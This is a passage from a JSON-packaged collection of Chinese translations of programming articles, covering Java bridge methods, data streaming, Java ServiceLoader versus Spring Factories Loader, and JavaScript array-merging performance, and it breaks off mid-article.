key 是来自事件还是来自 future 返回。\n\n## v0.0.1 版本以及未来计划\n\n从 v0.0.1 开始，jetcd 支持大多数应用程序需要的键值存储。这些原语可以作为复杂模式（如分布式队列、barriers 等）的构建块。在未来，jetcd 将能够使用 etcd 的本地锁和领导人选举 rpc 进行集群范围的标准化分布式协调。\n\njetcd 设计目的是易于使用，同时还能够利用 etcd 的先进功能。它是开源的，并且正在活跃开发中，欢迎社区的贡献和反馈。我们可以在 GitHub 上找到它，地址是[https://github.com/coreos/jetcd](https://github.com/coreos/jetcd)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/java-bridge-methods-explained.md",
    "content": "> * 原文地址：[Java bridge methods explained](http://stas-blogspot.blogspot.jp/2010/03/java-bridge-methods-explained.html)\n> * 原文作者：[STAS](http://stas-blogspot.blogspot.jp)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/java-bridge-methods-explained.md](https://github.com/xitu/gold-miner/blob/master/TODO1/java-bridge-methods-explained.md)\n> * 译者：[kezhenxu94](https://github.com/kezhenxu94/)\n> * 校对者：[Starrier](https://github.com/Starriers/)\n\n# Java 桥接方法详解\n\nJava 中的桥接方法是一种合成方法，在实现某些 Java 语言特性的时候是很有必要的。最为人熟知的例子就是协变返回值类型和泛型擦除后导致基类方法的参数与实际调用的方法参数类型不一致。\n\n看一下以下的例子：\n\n```java\npublic class SampleOne {\n    public static class A<T> {\n        public T getT() {\n            return null;\n        }\n    }\n\n    public static class  B extends A<String> {\n        public String getT() {\n            return null;\n        }\n    }\n}\n```\n\n事实上这就是一个协变返回类型的例子，[泛型擦除](http://en.wikipedia.org/wiki/Type_erasure)后将会变成类似于下面这样的代码段：\n\n```java\npublic class SampleOne {\n    public static class A {\n        public Object getT() {\n            return null;\n        }\n    }\n\n    public static class  B extends A {\n        public String getT() {\n            return null;\n        }\n    }\n}\n```\n\n在将编译后的字节码反编译后，类 `B` 会是这样子的：\n\n```java\npublic class SampleOne$B extends SampleOne$A {\npublic SampleOne$B();\n...\npublic java.lang.String getT();\nCode:\n0:   aconst_null\n1:   areturn\npublic java.lang.Object getT();\nCode:\n0:   aload_0\n1:   invokevirtual   #2; // 调用 getT:()Ljava/lang/String;\n4:   areturn\n}\n```\n\n从上面可以看到，有一个新[合成的](http://java.sun.com/docs/books/jvms/second_edition/html/ClassFile.doc.html#80128)方法 `java.lang.Object getT()`, 这在源代码中是没有出现过的。这个方法就起了一个桥接的作用，它所做的就是把对自身的调用委托给方法 `jva.lang.String getT()`。编译器不得不这么做，因为在 JVM 方法中，返回类型也是方法签名的一部分，而桥接方法的创建就正好是实现协变返回值类型的方式。\n\n现在再看一看下面和泛型相关的例子：\n\n```java\npublic class SampleTwo {\n    public static class A<T> {\n        public T getT(T args) {\n            return args;\n        }\n    }\n\n    public static class B extends A<String> {\n        public String getT(String args) {\n            return args;\n        }\n    }\n}\n```\n\n编译后类 `B` 会变成下面这样子：\n\n```\npublic class SampleThree$B extends SampleThree$A{\npublic SampleThree$B();\n...\npublic java.lang.String getT(java.lang.String);\nCode:\n0:   aload_1\n1:   areturn\n\npublic java.lang.Object getT(java.lang.Object);\nCode:\n0:   aload_0\n1:   aload_1\n2:   checkcast       #2; //class java/lang/String\n5:   invokevirtual   #3; //Method getT:(Ljava/lang/String;)Ljava/lang/String;\n8:   areturn\n}\n```\n\n这里的桥接方法覆盖了（override）基类 `A` 的方法，不仅使用字符串参数将对自身的调用委派给基类 `A` 的方法，同时也执行了一个到 `java.lang.String` 的类型转换检测（#2）。这就意味着如果你运行下面这样的代码，忽略编译器的“未检”（unchecked）警告，结果会是从桥接方法那里抛出异常 `ClassCastException`。\n\n```java\nA a = new B();\na.getT(new Object()));\n```\n\n以上例子就是桥接方法最为人熟知的两种使用场景，但至少还有一种使用案例，就是桥接方法被用于“改变”基类可见性。考虑以下示例代码，猜测一下编译器是否需要创建一个桥接方法：\n\n```java\npackage samplefour;\n\npublic class SampleFour {\n    static class A {\n        public void foo() {\n        }\n    }\n    public static class C extends A {\n\n    }\n    public static class D extends A {\n        public void foo() {\n        }\n    }\n}\n```\n\n如果你反编译 `C` 类，你将会看到有 `foo` 方法，它覆盖了基类的方法并把对自身的调用委托给它（基类的方法）：\n\n```\npublic class SampleFour$C extends SampleFour$A{\n...\npublic void foo();\nCode:\n0:   aload_0\n1:   invokespecial   #2; //Method SampleFour$A.foo:()V\n4:   return\n\n}\n```\n\n编译器需要这样的方法，因为 `A` 类不是公开的，在 `A` 类所在包之外是不可见的，但是 `C` 类是公开的，它所继承来的所有方法在所在包之外也都应该是可见的。需要注意的是，`D` 类不会有桥接方法生成，因为它覆盖了 `foo` 方法，因此没有必要“提升”其可见性。\n这种桥接方法似乎是由于[这个 bug](http://bugs.sun.com/view_bug.do?bug_id=6342411)（在 Java 6 被修复）才引入的。这意味着在 Java 6 之前是不会生成这样桥接方法的，那么 `C#foo` 就不能够在它所在包之外使用反射调用，以致于下面这样的代码在 Java 版本小于 1.6 时会报 `IllegalAccessException` 异常。\n\n```java\npackage samplefive;\n...\nSampleFour.C.class.getMethod(\"foo\").invoke(new SampleFour.C());\n...\n```\n\n不使用反射机制，正常调用的话是起作用的。\n\n可能还有其他使用桥接方法的案例，但没有相关的资料。此外，关于桥接方法也没有明确的定义，尽管你可以很容易的猜测出来，像以上的示例是相当明显的，但如果有一些规范把桥接方法说明清楚的话就更好了。尽管自 Java 5 开始 [`Method#isBridge()` 方法](http://java.sun.com/j2se/1.5.0/docs/api/java/lang/reflect/Method.html#isBridge%28%29) 就是公开的反射 API 了，桥接的标志也是[字节码文件格式](http://java.sun.com/docs/books/jvms/second_edition/ClassFileFormat-Java5.pdf)中的一部分，但 Java 虚拟机和 Java 语言规范都始终没有任何关于桥接方法的确切文档，也没有提供关于编译器何时/如何使用桥接方法的任何规则。我所能找到的全部引用都是来自[这里的“讨论区”](http://java.sun.com/docs/books/jls/third_edition/html/expressions.html#15.12.4.5)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/java-data-streaming.md",
    "content": "> * 原文地址：[Data Streaming](http://tutorials.jenkov.com/data-streaming/index.html)\n> * 原文作者：[jenkov.com](http://jenkov.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/java-data-streaming.md](https://github.com/xitu/gold-miner/blob/master/TODO1/java-data-streaming.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[DeadLion](https://github.com/DeadLion), [kezhenxu94](https://github.com/kezhenxu94)\n\n# 数据流\n\n- [数据流](#数据流)\n  - [数据流可以有很多变量](#数据流可以有很多变量)\n  - [数据流可以解耦生产者和消费者](#数据流可以解耦生产者和消费者)\n  - [数据流作为数据共享机制](#据流作为数据共享机制)\n  - [持久化数据流](#持久化数据流)\n  - [数据流用例](#数据流的用例)\n    - [用于事件驱动架构的数据流](#用于事件驱动架构的数据流)\n    - [用于智能城市和物联网的数据流](#用于智能城市和物联网的数据流)\n    - [用于常规数据抽样的数据流](#用于常规数据抽样的数据流)\n    - [用于数据点的数据流](#用于数据点的数据流)\n  - [记录、消息、事件和抽样等](#记录消息事件和抽样等)\n\n**数据流**是一种数据分发技术，数据生产者将数据记录写入有序数据流，数据消费者可以从该数据流中以相同的顺序读取数据。这是一张用于说明数据生产者，数据流和数据消费者的简单数据流图：\n\n![数据生产者和消费者的数据流记录](http://tutorials.jenkov.com/images/data-streaming/data-streaming-introduction-1.png) \n\n## 数据流可以有很多变量\n\n从“表面”上看，数据流是一种很简单的概念。数据生产者将记录存储到数据流中，随后消费者可以从中读取。不过，透过这层表面，我们可以看到还是存在一些细节操作会影响数据流系统的“外观”，这会进而影响它的行为以及你可以进行的动作。\n\n每个数据流产品都会对用例和处理技术做一定的假设（用于技术支持）。这些假设会导致某些设计选择最后影响你可以用来实现数据流处理行为的类型。这个数据流教程将检查哪些设计选择，并基于这些设计选择讨论他们对用户产品造成的影响。\n\n## 数据流可以解耦生产者和消费者\n\n数据流将数据生产者和数据消费者相互解耦。当数据生产者将其数据简单写入数据流时，生产者不需要知道读取数据的消费者。消费者可以独立于生产者进行添加和删除。消费者可以在生产者不知情的情况下，启动/停止或暂停并恢复他们的消费。这种解耦简化了数据生产者和使用者的实现。\n\n## 据流作为数据共享机制\n\n数据流是在大型分布式系统中存储和共享数据的一种非常有用的机制。如前所述，数据生产者只需将数据发送至数据流系统。生产者不需要知道任何关于消费者的事情。消费者可以在不影响生产者的情况下，上线、下线、添加或者移除自己。\n\n像 LinkedIn 这样的大公司在内部广泛使用数据流。Uber 也在内部使用数据流。许多企业级公司正在采用或已经采用内部数据流。许多初创公司也是如此。\n\n## 持久化数据流\n\n数据流是可以持久化的，在这种情况下，它被称为 **log** 或 **journal**。持久化数据流的优点是数据流中的数据可以在数据流服务关闭后“存活”下来，因此数据记录不会被丢失。\n\n相比于在内存中保存记录的数据流服务相比，持久化数据流服务通常可以保存更多的历史数据。有些数据流保存的历史数据甚至可以追溯到写入数据流的第一条记录。有些只保存部分历史数据。\n\n在持久化数据流保存完整历史记录的情况下，消费者可以重复处理所有记录，可以基于这些记录重建它们的内部状态。如果消费者在自己的代码中发现了 BUG，它就可以更正代码然后重现数据流来重建内部数据库。\n\n## 数据流用例\n\n数据流是一个非常通用的概念，它可以用于支持多种不同的用例。在本节中，我将介绍一些更常用的数据流用例。\n\n### 用于事件驱动架构的数据流\n\n数据流常用于[事件驱动架构](http://tutorials.jenkov.com/software-architecture/event-driven-architecture.html)。事件由事件生产者作为记录写入某些数据流系统, 事件消费者可以从中读取这些事件。\n\n### 用于智能城市和物联网的数据流\n\n数据流也可以应用于传输在**智能城市**周围的传感器的数据，用于**智能工厂**内传感器或者来自其他**物联网**设备传感器的流数据。像温度，污染程度等这样的数值可以定期从设备中采样并写入数据流。数据消费者可以在需要时从数据流中读取样本。\n\n### 用于常规数据抽样的数据流\n\n智能城市中传感器和物联网设备只是数据源的两个例子，这些数据源可以定期采样并通过数据流提供。还有许多其他类型的数据可以定期采样并以流形式提供。例如，货币汇率或股票价格也可以抽样和流传输。民意数值也可以定期采样和流式传输。\n\n### 用于数据点的数据流\n\n在民调支持率的事例中，你可以决定每个独立答案将要流向的民意投票流中，而不用流向定期抽样的总数。由独立数据点（如投票）组成总数有时会比计算总数来得更有意义。这取决于具体的用例和其他因素，例如单个数据点是匿名的还是包含不应该共享的私有的个人信息。\n\n## 记录、消息、事件和抽样等。\n\n数据流记录有时被称为消息、事件、样本和其他术语。使用哪个术语取决于数据流的具体用例，以及生产者和消费者对数据的处理和响应方式。通常情况，从用例中可以比较清楚地知道用例引用记录的具体意义。\n\n值得注意的是，用例也会影响给定记录所代表的内容。并非所有的数据记录都是相同的。事件与抽象值不一样，不能总是以相同的方式使用。在本教程（和/或者其他教程）中，我将更详细地讨论这一点。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/java-service-loader-vs-spring-factories-loader.md",
    "content": "> * 原文地址：[Java Service Loader vs. Spring Factories Loader](https://dzone.com/articles/java-service-loader-vs-spring-factories-loader)\n> * 原文作者：[Nicolas Frankel](https://dzone.com/users/293758/nfrankel.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/java-service-loader-vs-spring-factories-loader.md](https://github.com/xitu/gold-miner/blob/master/TODO1/java-service-loader-vs-spring-factories-loader.md)\n> * 译者：[HearFishle](https://github.com/HearFishle)\n> * 校对者：[Endone](https://github.com/Endone)，[ziyin feng](https://github.com/Fengziyin1234)\n\n# Java Service Loader 对比 Spring Factories Loader\n\n### Java 和 Spring 都提供了实现模块层的 IoC 的方式（译者注：Inversion of Control 控制反转）。两者实现的功能很类似，不过 Spring 提供的功能更灵活一些。\n\nIoC 并不仅限于解决模块内类与类之间的依赖耦合问题，其同样适用于模块与模块之间。OSGi 一直致力于这方面的工作。但其实 Java 和 Spring 都提供了对 IoC 的支持。\n\n## Java Service Loader\n\nJava 本身提供了一种很简便的方式来支持 IoC，它通过使用 [Service Loader] (https://docs.oracle.com/javase/6/docs/api/java/util/ServiceLoader.html) 来实现，其可以获取到工程类路径内指定接口的实现类。这使我们可以在运行期间获知类路径内包含哪些可用的实现类，从而做到接口定义和多个实现模块（JAR 包）之间的依赖解耦。\n\nSLF4J 作为一个日志框架正是使用了这个方法。SLF4J 本身只提供日志操作接口，其他的日志系统基于这些接口进行实现（如 Logback 和 Log4J 等）。用户只需通过调用 SLF4J 的接口来记录日志，而具体的实现则交由工程类路径中可用的实现类来执行。\n\n为了使用 Service Loader，首先需要在类所在工程的类路径下面建立 'META-INF/services' 目录，然后根据接口名在该目录创建一个文件。该文件的文件名必须是接口的完全限定名，其内容是可用实现的限定名列表。例如，对于 `ch.frankel.blog.serviceloader.Foo` 这个接口，文件名应该是 `META-INF/services/ch.frankel.blog.serviceloader.Foo`，文件的内容可能是如下这样的：\n\n``` java\nch.frankel.blog.serviceloader.FooImpl1\nch.frankel.blog.serviceloader.FooImpl2\n```\n\n其中包含的类必须实现 `ch.frankel.blog.serviceloader.Foo` 接口。\n\n使用 Service Loader 获取实现类的代码非常简单：\n\n``` java\nServiceLoader<Foo> loader = ServiceLoader.load(Foo.class);\nloader.iterator();\n```\n\n## Service Loader 的 Spring 实现\n\n核心的 Spring 库以工厂模式集成了 Java 的 Service Loader。例如，下面的代码假定工程内至少有一个可选的 Foo 接口的实现类：\n\n``` java\n@Configuration\npublic class ServiceConfiguration {\n    @Bean\n    public ServiceListFactoryBean serviceListFactoryBean() {\n        ServiceListFactoryBean serviceListFactoryBean = new ServiceListFactoryBean();\n        serviceListFactoryBean.setServiceType(Foo.class);\n        return serviceListFactoryBean;\n    }\n}\nObject object = serviceListFactoryBean.getObject();\n```\n\n很明显，从调用返回来看，需要进一步操作才能得到正确格式的数据（注意：serviceListFactoryBean 是一个链表）。\n\n## Spring Factories Loader\n\n除了集成 Java 的 Service Loader 之外，Spring 还提供了另一种 IoC 的实现。其只需要添加一个简单的配置文件，文件名必须为 `spring.factories` 并且放到 `META-INF` 下。从代码的角度看，这个文件通过静态方法 `SpringFactoriesLoader.loadFactories()` 来读取。Spring 的这个实现确实让你吃惊。\n调用的代码不能再简单了：\n\n``` java\nList<Foo> foos = SpringFactoriesLoader.loadFactories(Foo.class, null);\n```\n\n上面第二个可选参数是类加载器\n\n相对于 Java Service Loader，主要有两方面的区别：\n\n1. 通过一个文件来配置是否比其他方式更好，更可读，更可维护，这取决于个人喜好。\n2. `spring.factories` 中并没有要求键是一个接口并且实现它的值。例如，Spring Boot 使用这种方法来初始化类实例：配置中键内容为一个注解，如 `org.springframework.boot.autoconfigure.EnableAutoConfiguration`，而值是则可以是标注了 `@Configuration` 注解的类。如果灵活使用，可以去完成更多更复杂的设计。\n\n这篇文章的资源可以在 [GitHub](https://github.com/nfrankel/serviceloader) 的 Maven 格式下找到。\n\n**延伸阅读：**\n\n*   [Java Service Loader](https://docs.oracle.com/javase/tutorial/ext/basics/spi.html)\n*   [Java Service Loader Spring integration Javadoc](http://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/beans/factory/serviceloader/package-summary.html)\n*   [Spring Factories Loader Javadoc](http://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/core/io/support/SpringFactoriesLoader.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/javascript-array-push-is-945x-faster-than-array-concat.md",
    "content": "> * 原文地址：[Javascript Array.push is 945x faster than Array.concat 🤯🤔](https://dev.to/uilicious/javascript-array-push-is-945x-faster-than-array-concat-1oki)\n> * 原文作者：[Shi Ling](https://dev.to/shiling)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-array-push-is-945x-faster-than-array-concat.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascript-array-push-is-945x-faster-than-array-concat.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[钱俊颖](https://github.com/Baddyo), [MLS](https://github.com/hzdaqo)\n\n# Javascript 中 Array.push 要比 Array.concat 快 945 倍！🤯🤔\n\n如果要合并拥有上千个元素的数组，使用 `arr1.push(...arr2)` 可比 `arr1 = arr1.concat(arr2)` 节省时间。如果你想要再快一点，你甚至可以编写自己的函数来实现合并数组的功能。\n\n## 等一下……用 `.concat` 合并 15000 个数组要花多长时间呢？\n\n最近，我们有一个用户抱怨他在使用 [UI-licious](https://uilicious.com) 对他们的 UI 进行测试时，速度明显慢了很多。通常，每一个 `I.click` `I.fill` `I.see` 命令需要大约 1 秒的时间完成（后期处理，例如截屏），现在需要超过 40 秒才能完成，因此通常在 20 分钟内可以完成的测试现在需要花费数小时才能完成，这严重地拖慢了他们的部署进程。\n\n我很快就设置好了定时器，锁定了导致速度缓慢的那部分代码，但当我找到罪魁祸首时，我着实吃了一惊：\n\n```\narr1 = arr1.concat(arr2)\n```\n\n数组的 `.concat` 方法。\n\n为了允许在编写测试的时候可以使用简单的指令，如 `I.click(\"Login\")`，而不是使用 CSS 或是 XPATH 选择器，如 `I.click(\"#login-btn\")`，UI-licious 基于网站的语义、可访问性属性以及各种流行但不标准的模式，使用动态代码分析（模式）来分析 DOM 树，从而确定网站的测试内容和测试方法。这些 `.concat` 操作被用来压扁 DOM 树进行分析，但是当 DOM 树非常大而且非常深时，性能非常糟糕，这就是我们的用户最近更新他们的应用程序时发生的事情，这波更新也导致了他们的页面明显臃肿起来（这是他们那边的性能问题，是另外的话题了）。\n\n**使用 `.concat` 合并 15000 个平均拥有 5 个元素的数组需要花费 6 秒的时间。**\n\n**纳尼？**\n\n6 秒……\n\n仅仅是 15000 个数组，而且平均只拥有 5 个元素？\n\n**数据量并不是很大。**\n\n为什么这么慢？合并数组有没有更快的方法呢？\n\n* * *\n\n## 基准比较\n\n### .push vs. .concat，合并 10000 个拥有 10 个元素的数组\n\n所以我开始研究（我指的是谷歌搜索）`.concat` 和 Javascript 中合并数组的其它方式的基准对比。\n\n事实证明，合并数组最快的方式是使用 `.push` 方法，该方法可以接收 n 个参数：\n\n```\n// 将 arr2 的内容压（push）入 arr1 中\narr1.push(arr2[0], arr2[1], arr2[3], ..., arr2[n])\n\n// 由于我的数组大小不固定，我使用了 `apply` 方法\nArray.prototype.push.apply(arr1, arr2)\n```\n\n相比之下，它的速度更快，简直是个飞跃。\n\n有多快？\n\n我自己运行了一些性能基准测试来亲眼看看。瞧，这是在 Chrome 上执行的差别：\n\n[![JsPerf - .push vs. .concat 10000 size-10 arrays (Chrome)](https://res.cloudinary.com/practicaldev/image/fetch/s--I6TQ4Ugm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/txrl0qpb5oz46mqfy3zn.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--I6TQ4Ugm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/txrl0qpb5oz46mqfy3zn.PNG)\n\n👉 [链接到 JsPerf 上的测试](https://jsperf.com/javascript-array-concat-vs-push/100)\n\n合并拥有大小为 10 的数组 10000 次，`.concat` 的速度为 0.40 ops/sec（操作每秒），而 `.push` 的速度是 378 ops/sec。也就是说 `push` 比 `concat` 快了整整 945 倍！这种差异可能不是线性的，但在这种小规模数据量上已经很明显了。\n\n在 Firefox 上，执行结果如下：\n\n[![JsPerf - .push vs. .concat 10000 size-10 arrays (Firefox)](https://res.cloudinary.com/practicaldev/image/fetch/s--1syE91oa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/i8qyutk1h1azih06rn4z.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--1syE91oa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/i8qyutk1h1azih06rn4z.PNG)\n\n通常，与 Chrome 的 V8 引擎相比，Firefox 的 SpiderMonkey Javascript 引擎速度较慢，但 `.push` 仍然排名第一，比 `concat` 快了 2260 倍。\n\n我们对代码做了上面的改动，它修复了整个速度变慢的问题。\n\n### .push vs. .concat，合并 2 个拥有 50000 个元素的数组\n\n但好吧，如果你合并的不是 10000 个拥有 10 个元素的数组，而是两个拥有 50000 个元素的庞大数组呢？\n\n下面是在 Chrome 上测试的结果：\n\n[![JsPerf - .push vs. .concat 2 size-50000 arrays (chrome)](https://res.cloudinary.com/practicaldev/image/fetch/s--pmnpnick--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/7euccbt97unwnjjdq5iw.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--pmnpnick--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/7euccbt97unwnjjdq5iw.PNG)\n\n👉 [链接到 JsPerf 上的测试](https://jsperf.com/javascript-array-concat-vs-push/170)\n\n`.push` 仍然比 `.concat` 快, 但这次是 9 倍.\n\n虽然没有戏剧性的慢上 945 倍，但已经很慢了。\n\n* * *\n\n### 更优美的扩展运算\n\n如果你觉得 `Array.prototype.push.apply(arr1, arr2)` 很啰嗦，你可以使用 ES6 的扩展运算符做一个简单的改造：\n\n```\narr1.push(...arr2)\n```\n\n`Array.prototype.push.apply(arr1, arr2)` 和 `arr1.push(...arr2)` 之间的性能差异基本可以忽略。\n\n* * *\n\n## 但是为什么 `Array.concat` 这么慢？\n\n它和 Javascript 引擎有很大的关系，我也不知道确切的答案，所以我问了我的朋友 [@picocreator](https://dev.to/picocreator) —— [GPU.js](http://gpu.rocks/) 的联合创始人，他之前花了很多时间研究 V8 的源码。因为我的 MacBook 内存不足以运行 `.concat` 合并两个长度为 50000 的数组，[@picocreator](https://dev.to/picocreator) 还把他用来对 GPU.js 做基准测试的宝贝游戏 PC 借给我跑 JsPerf 的测试。\n\n显然答案与它们的运行机制有很大的关系：在合并数组的时候，`.concat` 创建了一个新的数组，而 `.push` 只是修改了第一个数组。这些额外的操作（将第一个数组的元素添加到返回的数组里）就是拖慢了 `.concat` 速度的关键。\n\n> 我：“纳尼？不可能吧？就是这样而已？但为什么差距这么大？不可能啊！”\n> @picocreator：“我可没开玩笑，试着写下 .concat 和 .push 的原生实现你就知道了！”\n\n所以我按照他说的试了试，写了几种实现方式，又加上了和 [lodash](https://lodash.com/) 的 `_.concat` 的对比：\n\n[![JsPerf - Various ways to merge arrays (Chrome)](https://res.cloudinary.com/practicaldev/image/fetch/s--hIgqWvh5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/w00r7grlnl1x5bnprrqy.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--hIgqWvh5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/w00r7grlnl1x5bnprrqy.PNG)\n\n👉 [链接到 JsPerf 上的测试](https://jsperf.com/merge-array-implementations/1)\n\n### 原生实现方式 1\n\n让我们来讨论下第一套原生实现方式:\n\n#### `.concat` 的原生实现\n\n```\n// 创建结果数组\nvar arr3 = []\n\n// 添加 arr1\nfor(var i = 0; i < arr1Length; i++){\n  arr3[i] = arr1[i]\n}\n\n// 添加 arr2\nfor(var i = 0; i < arr2Length; i++){\n  arr3[arr1Length + i] = arr2[i]\n}\n```\n\n#### `.push` 的原生实现\n\n```\nfor(var i = 0; i < arr2Length; i++){\n  arr1[arr1Length + i] = arr2[i]\n}\n```\n\n如你所见，两者之间的唯一区别是 `.push` 在实现中直接修改了第一个数组。\n\n#### 常规实现方法的结果：\n\n*   `.concat` : 75 ops/sec\n*   `.push`: 793 ops/sec (快 10 倍)\n\n#### 原生实现方法 1 的结果：\n\n*   `.concat` : 536 ops/sec\n*   `.push` : 11,104 ops/sec (快 20 倍)\n\n结果证明我自己写的 `concat` 和 `push` 比它们的常规实现方法还快……但我们可以看到，仅仅是简单地创建一个新数组并将第一个数组的内容复制给它就可以使整个过程明显变慢。\n\n### 原生实现方式 2（预分配最终数组的大小）\n\n通过在添加元素之前预先分配数组的大小，我们可以进一步改进原生实现方法，这会产生巨大的差异。\n\n#### 带预分配的 `.concat` 的原生实现\n\n```\n// 创建结果数组并给它预先分配大小\nvar arr3 = Array(arr1Length + arr2Length)\n\n// 添加 arr1\nfor(var i = 0; i < arr1Length; i++){\n  arr3[i] = arr1[i]\n}\n\n// 添加 arr2\nfor(var i = 0; i < arr2Length; i++){\n  arr3[arr1Length + i] = arr2[i]\n}\n```\n\n#### 带预分配的 `.push` 的原生实现\n\n```\n// 预分配大小\narr1.length = arr1Length + arr2Length\n\n// 将 arr2 的元素添加给 arr1\nfor(var i = 0; i < arr2Length; i++){\n  arr1[arr1Length + i] = arr2[i]\n}\n```\n\n#### 原生实现方法 1 的结果：\n\n*   `.concat` : 536 ops/sec\n*   `.push` : 11,104 ops/sec (快 20 倍)\n\n#### 原生实现方法 2 的结果：\n\n*   `.concat` : 1,578 ops/sec\n*   `.push` : 18,996 ops/sec (快 12 倍)\n\n预分配最终数组的大小可以使每种方法的性能提高 2-3 倍。\n\n### `.push` 数组 vs. `.push` 单个元素\n\n那假如我们每次只 .push 一个元素呢？它会比 `Array.prototype.push.apply(arr1, arr2)` 快吗？\n\n```\nfor(var i = 0; i < arr2Length; i++){\n  arr1.push(arr2[i])\n}\n```\n\n#### 结果\n\n*   `.push` 整个数组：793 ops/sec\n*   `.push` 单个元素: 735 ops/sec (慢)\n\n所以 `.push` 单个元素要比 `.push` 整个数组慢，这也说得通。\n\n## 结论：为什么 `.push` 比 `.concat` 更快\n\n总而言之，`concat` 比 